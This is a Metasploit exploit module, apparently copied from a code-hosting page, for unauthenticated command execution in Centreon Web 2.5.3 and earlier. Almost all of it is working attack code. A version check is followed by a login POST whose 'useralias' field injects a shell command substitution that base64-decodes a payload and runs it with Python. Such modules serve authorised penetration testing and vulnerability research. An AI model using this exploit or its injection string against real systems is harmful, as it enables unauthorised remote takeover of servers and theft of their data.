Path: blob/master/modules/exploits/linux/http/centreon_useralias_exec.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6include Msf::Exploit::Remote::HttpClient78Rank = ExcellentRanking9def initialize(info = {})10super(11update_info(12info,13'Name' => 'Centreon Web Useralias Command Execution',14'Description' => %q{15Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL16errors. This functionality can be abused for arbitrary code17execution, and can be triggered via the login screen prior to18authentication.19},20'Author' => [21'h00die <[email protected]>', # module22'Nicolas CHATELAIN <[email protected]>' # discovery23],24'References' => [25[ 'EDB', '39501' ]26],27'License' => MSF_LICENSE,28'Platform' => ['python'],29'Privileged' => false,30'Arch' => ARCH_PYTHON,31'Targets' => [32[ 'Automatic Target', {}]33],34'DefaultTarget' => 0,35'DisclosureDate' => '2016-02-26',36'Notes' => {37'Reliability' => UNKNOWN_RELIABILITY,38'Stability' => UNKNOWN_STABILITY,39'SideEffects' => UNKNOWN_SIDE_EFFECTS40}41)42)4344register_options(45[46Opt::RPORT(80),47OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])48], self.class49)50end5152def check53begin54res = send_request_cgi(55'uri' => normalize_uri(target_uri.path, 'index.php'),56'method' => 'GET'57)58/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body5960if version && Rex::Version.new(version) <= Rex::Version.new('2.5.3')61vprint_good("Version Detected: #{version}")62Exploit::CheckCode::Appears63else64Exploit::CheckCode::Safe65end66rescue ::Rex::ConnectionError67fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")68end69end7071def exploit72begin73vprint_status('Sending malicious login')74send_request_cgi(75'uri' => normalize_uri(target_uri.path, 'index.php'),76'method' => 'POST',77'vars_post' =>78{79'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",80'password' => Rex::Text.rand_text_alpha(5)81}82)83rescue ::Rex::ConnectionError84fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")85end86end87end888990